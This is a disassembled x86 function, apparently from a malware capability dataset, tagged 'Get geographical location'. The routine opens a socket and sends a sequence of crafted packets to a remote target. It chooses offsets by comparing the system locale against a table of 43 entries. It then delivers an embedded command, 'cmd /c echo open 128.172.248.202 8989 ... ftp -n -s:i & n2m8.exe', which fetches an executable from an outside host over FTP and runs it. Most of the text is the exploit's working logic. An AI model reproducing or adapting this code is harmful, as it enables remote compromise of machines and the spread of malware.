Function at 0x4044ab
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x12e0
call fcn.00411cc0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x1018], eax
and dword [ebp - 0x12d0], 0
and word [ebp - 0x10], 0
push 6
push 1
push 2
call dword [0x41cd48]
mov dword [ebp - 0x12c8], eax
cmp dword [ebp - 0x12c8], 0xffffffff
jne 0x4044ef
xor eax, eax
jmp 0x404f23
mov word [ebp - 0x12c4], 2
lea eax, [ebp + 0x10]
push eax
call dword [0x41cd14]
mov dword [ebp - 0x12c0], eax
push dword [ebp + 0xb4]
call dword [0x41cce8]
mov word [ebp - 0x12c2], ax
push 0x10
lea eax, [ebp - 0x12c4]
push eax
push dword [ebp - 0x12c8]
call dword [0x41cc98]
cmp eax, 0xffffffff
jne 0x404548
push dword [ebp - 0x12c8]
call dword [0x41cd60]
xor eax, eax
jmp 0x404f23
push 0
push 0x89
push 0x415b94
push dword [ebp - 0x12c8]
call dword [0x41cd18]
cmp eax, 0xffffffff
jne 0x404578
push dword [ebp - 0x12c8]
call dword [0x41cd60]
xor eax, eax
jmp 0x404f23
push 0
push 0x1000
lea eax, [ebp - 0x1010]
push eax
push dword [ebp - 0x12c8]
call dword [0x41ccf8]
mov dword [ebp - 0x12cc], eax
cmp dword [ebp - 0x12cc], 1
jge 0x4045b4
push dword [ebp - 0x12c8]
call dword [0x41cd60]
xor eax, eax
jmp 0x404f23
push 0
push 0xbd
push 0x415c20
push dword [ebp - 0x12c8]
call dword [0x41cd18]
cmp eax, 0xffffffff
jne 0x4045e4
push dword [ebp - 0x12c8]
call dword [0x41cd60]
xor eax, eax
jmp 0x404f23
push 0
push 0x1000
lea eax, [ebp - 0x1010]
push eax
push dword [ebp - 0x12c8]
call dword [0x41ccf8]
mov dword [ebp - 0x12cc], eax
cmp dword [ebp - 0x12cc], 0xa
jg 0x404620
push dword [ebp - 0x12c8]
call dword [0x41cd60]
xor eax, eax
jmp 0x404f23
mov ax, word [ebp - 0xff0]
mov word [ebp - 0x12b0], ax
push 2
lea eax, [ebp - 0x12b0]
push eax
push 0x415d00
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 0
push 0x111
push 0x415ce0
push dword [ebp - 0x12c8]
call dword [0x41cd18]
cmp eax, 0xffffffff
jne 0x404674
push dword [ebp - 0x12c8]
call dword [0x41cd60]
xor eax, eax
jmp 0x404f23
push 0
push 0x1000
lea eax, [ebp - 0x1010]
push eax
push dword [ebp - 0x12c8]
call dword [0x41ccf8]
mov dword [ebp - 0x12cc], eax
cmp dword [ebp - 0x12cc], 0xa
jg 0x4046b0
push dword [ebp - 0x12c8]
call dword [0x41cd60]
xor eax, eax
jmp 0x404f23
push 0
push 0x6f
push 0x415df4
push dword [ebp - 0x12c8]
call dword [0x41cd18]
cmp eax, 0xffffffff
jne 0x4046dd
push dword [ebp - 0x12c8]
call dword [0x41cd60]
xor eax, eax
jmp 0x404f23
push 0
push 0x1000
lea eax, [ebp - 0x1010]
push eax
push dword [ebp - 0x12c8]
call dword [0x41ccf8]
mov dword [ebp - 0x12cc], eax
cmp dword [ebp - 0x12cc], 0xa
jg 0x404719
push dword [ebp - 0x12c8]
call dword [0x41cd60]
xor eax, eax
jmp 0x404f23
mov ax, word [ebp - 0xff0]
mov word [ebp - 0x12b0], ax
push 2
lea eax, [ebp - 0x12b0]
push eax
push 0x415e84
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 0
push 0x3b
push 0x415e64
push dword [ebp - 0x12c8]
call dword [0x41cd18]
cmp eax, 0xffffffff
jne 0x40476a
push dword [ebp - 0x12c8]
call dword [0x41cd60]
xor eax, eax
jmp 0x404f23
push 0
push 0x1000
lea eax, [ebp - 0x1010]
push eax
push dword [ebp - 0x12c8]
call dword [0x41ccf8]
mov dword [ebp - 0x12cc], eax
cmp dword [ebp - 0x12cc], 0xa
jle 0x40479e
movsx eax, byte [ebp - 0x1007]
test eax, eax
je 0x4047b1
push dword [ebp - 0x12c8]
call dword [0x41cd60]
xor eax, eax
jmp 0x404f23
mov ax, word [ebp - 0xff4]
mov word [ebp - 0x12ac], ax
push 2
lea eax, [ebp - 0x12ac]
push eax
push 0x4164ac
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 2
lea eax, [ebp - 0x12b0]
push eax
push 0x4164b0
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 0
push 0x5f
push 0x416490
push dword [ebp - 0x12c8]
call dword [0x41cd18]
cmp eax, 0xffffffff
jne 0x404818
push dword [ebp - 0x12c8]
call dword [0x41cd60]
xor eax, eax
jmp 0x404f23
push 0
push 0x1000
lea eax, [ebp - 0x1010]
push eax
push dword [ebp - 0x12c8]
call dword [0x41ccf8]
mov dword [ebp - 0x12cc], eax
cmp dword [ebp - 0x12cc], 0xa
jg 0x404854
push dword [ebp - 0x12c8]
call dword [0x41cd60]
xor eax, eax
jmp 0x404f23
mov eax, dword [ebp - 0x1007]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xc0000022
jne 0x404870
mov dword [ebp - 0x12d0], 1
mov ax, word [ebp - 0xff4]
mov word [ebp - 0x12ac], ax
push 2
lea eax, [ebp - 0x12ac]
push eax
push 0x415ebc
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 2
lea eax, [ebp - 0x12b0]
push eax
push 0x415ec0
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 0
push 0x6a
push 0x415ea0
push dword [ebp - 0x12c8]
call dword [0x41cd18]
cmp eax, 0xffffffff
jne 0x4048d7
push dword [ebp - 0x12c8]
call dword [0x41cd60]
xor eax, eax
jmp 0x404f23
push 0
push 0x1000
lea eax, [ebp - 0x1010]
push eax
push dword [ebp - 0x12c8]
call dword [0x41ccf8]
mov dword [ebp - 0x12cc], eax
cmp dword [ebp - 0x12cc], 0xa
jle 0x40490b
movsx eax, byte [ebp - 0x1007]
test eax, eax
je 0x40491e
push dword [ebp - 0x12c8]
call dword [0x41cd60]
xor eax, eax
jmp 0x404f23
mov ax, word [ebp - 0xfe6]
mov word [ebp - 0x12d8], ax
push 2
lea eax, [ebp - 0x12ac]
push eax
push 0x415f28
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 2
lea eax, [ebp - 0x12b0]
push eax
push 0x415f2c
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 2
lea eax, [ebp - 0x12d8]
push eax
push 0x415f35
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 0
push 0x243
push 0x415f0c
push dword [ebp - 0x12c8]
call dword [0x41cd18]
cmp eax, 0xffffffff
jne 0x40499e
push dword [ebp - 0x12c8]
call dword [0x41cd60]
xor eax, eax
jmp 0x404f23
push 0
push 0x1000
lea eax, [ebp - 0x1010]
push eax
push dword [ebp - 0x12c8]
call dword [0x41ccf8]
mov dword [ebp - 0x12cc], eax
cmp dword [ebp - 0x12cc], 0xa
jle 0x4049d2
movsx eax, byte [ebp - 0x1007]
test eax, eax
je 0x4049e5
push dword [ebp - 0x12c8]
call dword [0x41cd60]
xor eax, eax
jmp 0x404f23
push 2
lea eax, [ebp - 0x12ac]
push eax
push 0x41616c
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 2
lea eax, [ebp - 0x12b0]
push eax
push 0x416170
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 2
lea eax, [ebp - 0x12d8]
push eax
push 0x416179
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 0
push 0x3f
push 0x416150
push dword [ebp - 0x12c8]
call dword [0x41cd18]
cmp eax, 0xffffffff
jne 0x404a54
push dword [ebp - 0x12c8]
call dword [0x41cd60]
xor eax, eax
jmp 0x404f23
push 0
push 0x1000
lea eax, [ebp - 0x1010]
push eax
push dword [ebp - 0x12c8]
call dword [0x41ccf8]
mov dword [ebp - 0x12cc], eax
cmp dword [ebp - 0x12cc], 0xa
jle 0x404a88
movsx eax, byte [ebp - 0x1007]
test eax, eax
je 0x404a9b
push dword [ebp - 0x12c8]
call dword [0x41cd60]
xor eax, eax
jmp 0x404f23
push 2
lea eax, [ebp - 0x12ac]
push eax
push 0x4161ac
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 2
lea eax, [ebp - 0x12b0]
push eax
push 0x4161b0
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 2
lea eax, [ebp - 0x12d8]
push eax
push 0x4161b9
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push str.cmd__c_echo_open_128.172.248.202_8989___iecho_user_upload_upload____i_echo_binary____i_echo_get__n2m8.exe____i_echo_quit____i_ftp__n__s:i_n2m8.exe_r_n
push 0xff
lea eax, [ebp - 0x12a8]
push eax
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0xc
lea eax, [ebp - 0x12a8]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
add eax, 0x71
mov dword [ebp - 0x12d4], eax
push dword [ebp - 0x12d4]
call dword [sym.imp.MSVCRT.dll_malloc]
pop ecx
mov dword [ebp - 4], eax
push 0x70
push 0x4164f0
push dword [ebp - 4]
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x12a8]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
lea eax, [ebp - 0x12a8]
push eax
mov eax, dword [ebp - 4]
add eax, 0x70
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push dword [ebp - 0x12d4]
call fcn.0040e90f
pop ecx
mov dword [ebp - 0xc], eax
push dword [ebp - 0xc]
call dword [sym.imp.MSVCRT.dll_malloc]
pop ecx
mov dword [ebp - 0x12b4], eax
push dword [ebp - 0x12d4]
push dword [ebp - 4]
push dword [ebp - 0xc]
push dword [ebp - 0x12b4]
call fcn.0040e941
add esp, 0x10
mov dword [ebp - 0x1014], eax
mov eax, dword [ebp - 0x1014]
cmp eax, dword [ebp - 0xc]
je 0x404ba5
xor eax, eax
jmp 0x404f23
push dword [ebp - 0x1014]
push dword [ebp - 0x12b4]
push 0x4162a1
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 5
lea eax, [ebp + 0x10]
push eax
call fcn.00406e90
pop ecx
pop ecx
mov dword [ebp - 0x12e0], eax
cmp dword [ebp - 0x12e0], 1
je 0x404c1c
cmp dword [ebp - 0x12e0], 2
je 0x404d5e
cmp dword [ebp - 0x12e0], 3
je 0x404c23
cmp dword [ebp - 0x12e0], 4
je 0x404d9f
cmp dword [ebp - 0x12e0], 5
je 0x404de0
cmp dword [ebp - 0x12e0], 6
je 0x404e1e
jmp 0x404e5c
xor eax, eax
jmp 0x404f23
cmp dword [ebp - 0x12d0], 1
jne 0x404d1d
push 0x416a20
push dword [ebp + 0xd4]
call sub.MSVCRT.dll_strcmp
pop ecx
pop ecx
test eax, eax
jne 0x404c6e
push 4
push 0
push dword [ebp + 0xd4]
call sub.MSVCRT.dll_memset
add esp, 0xc
push 4
lea eax, [ebp + 0xd4]
push eax
push 7
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
and dword [ebp - 0x12dc], 0
jmp 0x404c84
mov eax, dword [ebp - 0x12dc]
inc eax
mov dword [ebp - 0x12dc], eax
cmp dword [ebp - 0x12dc], 0x2b
jae 0x404cb1
push dword [ebp + 0xd4]
mov eax, dword [ebp - 0x12dc]
shl eax, 4
push dword [eax + 0x4165d8]
call sub.MSVCRT.dll_strcmp
pop ecx
pop ecx
test eax, eax
jne 0x404caf
jmp 0x404cb1
jmp 0x404c77
cmp dword [ebp - 0x12dc], 0x2b
jb 0x404cc1
and dword [ebp - 0x12dc], 0
push 4
mov eax, dword [ebp - 0x12dc]
shl eax, 4
add eax, 0x4165e4
push eax
push 0x416421
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 4
mov eax, dword [ebp - 0x12dc]
shl eax, 4
add eax, 0x4165e0
push eax
push 0x416425
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 4
mov eax, dword [ebp - 0x12dc]
shl eax, 4
add eax, 0x4165dc
push eax
push 0x41642d
call sub.MSVCRT.dll_memcpy
add esp, 0xc
jmp 0x404d59
push 4
push 0x416584
push 0x416421
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 4
push 0x416580
push 0x416425
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 4
push 0x41657c
push 0x41642d
call sub.MSVCRT.dll_memcpy
add esp, 0xc
jmp 0x404e98
push 4
push 0x416574
push 0x416421
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 4
push 0x416570
push 0x416425
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 4
push 0x41656c
push 0x41642d
call sub.MSVCRT.dll_memcpy
add esp, 0xc
jmp 0x404e98
push 4
push 0x4165b4
push 0x416421
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 4
push 0x4165b0
push 0x416425
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 4
push 0x4165ac
push 0x41642d
call sub.MSVCRT.dll_memcpy
add esp, 0xc
jmp 0x404e98
push 4
push 0x4165c4
push 0x416421
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 4
push 0x4165c0
push 0x416425
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 4
push 0x4165bc
push 0x41642d
call sub.MSVCRT.dll_memcpy
add esp, 0xc
jmp 0x404e98
push 4
push 0x4165d4
push 0x416421
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 4
push 0x4165d0
push 0x416425
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 4
push 0x4165cc
push 0x41642d
call sub.MSVCRT.dll_memcpy
add esp, 0xc
jmp 0x404e98
push 4
push 0x416574
push 0x416421
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 4
push 0x416570
push 0x416425
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 4
push 0x41656c
push 0x41642d
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 0
push 0x2ff
push 0x416190
push dword [ebp - 0x12c8]
call dword [0x41cd18]
cmp eax, 0xffffffff
jne 0x404ec5
push dword [ebp - 0x12c8]
call dword [0x41cd60]
xor eax, eax
jmp 0x404f23
push 0
push 0x1000
lea eax, [ebp - 0x1010]
push eax
push dword [ebp - 0x12c8]
call dword [0x41ccf8]
mov dword [ebp - 0x12cc], eax
cmp dword [ebp - 0x12cc], 0xa
jle 0x404ef9
movsx eax, byte [ebp - 0x1007]
test eax, eax
je 0x404f09
push dword [ebp - 0x12c8]
call dword [0x41cd60]
xor eax, eax
jmp 0x404f23
push dword [ebp - 4]
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
push dword [ebp - 0x12b4]
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
push 1
pop eax
leave
ret